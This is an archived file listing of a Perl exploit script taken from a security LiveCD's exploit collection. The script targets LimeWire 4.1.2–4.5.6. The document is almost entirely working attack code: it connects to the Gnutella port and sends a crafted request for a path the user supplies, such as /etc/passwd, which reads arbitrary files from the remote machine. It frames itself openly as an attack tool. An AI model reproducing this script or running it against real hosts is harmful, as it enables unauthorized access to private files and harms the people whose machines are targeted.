home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / p2p / limewire.pl < prev   
Encoding:
Text File  |  2005-03-16  |  933 b   |  45 lines
  1. mewire 4.1.2 - 4.5.6 remote and fucking lame exploit        *    
  2. #                written by lammat                *
  3. #              http://grpower.ath.cx                  *
  4. #        lammat@iname.com             *                        
  5. #          Discovered by Kevin Walsh                 *    
  6.  
  7. use IO::Socket;
  8.  
  9. $host = @ARGV[0];
  10. $file = @ARGV[1];
  11.  
  12. unless (@ARGV == 2) {
  13. print "usage: $0 host file\n";
  14. print "E.g: $0 10.0.0.2 /etc/passwd\n";
  15. exit
  16. }
  17.  
  18. @req = "GET /gnutella/res//$file HTTP/1.1\n
  19. User-Agent: I-AM-AN-ATTACKER/1.0\n
  20. Host: 0.0.0.0:0\n
  21. Accept: */*\n
  22. Connection: Keep-Alive";
  23.  
  24. print "[+] checking if host exists...\n";
  25. $string = inet_aton($host) || die "[-] Host does not exist...\n";
  26.  
  27. print "[+] $host exists...connecting...\n";
  28. $web = IO::Socket::INET->new(
  29. Proto => "tcp",
  30. PeerAddr => $host,
  31. PeerPort => "6346",
  32. )
  33. or die "cannot connect to the $host";
  34. if ($web)
  35. {
  36. print "[+] Connected...sending the request...\n";
  37.  
  38. print $web "@req";
  39.  
  40.  
  41. while ( <$web> )
  42. { print }
  43. close $web;
  44. }
  45.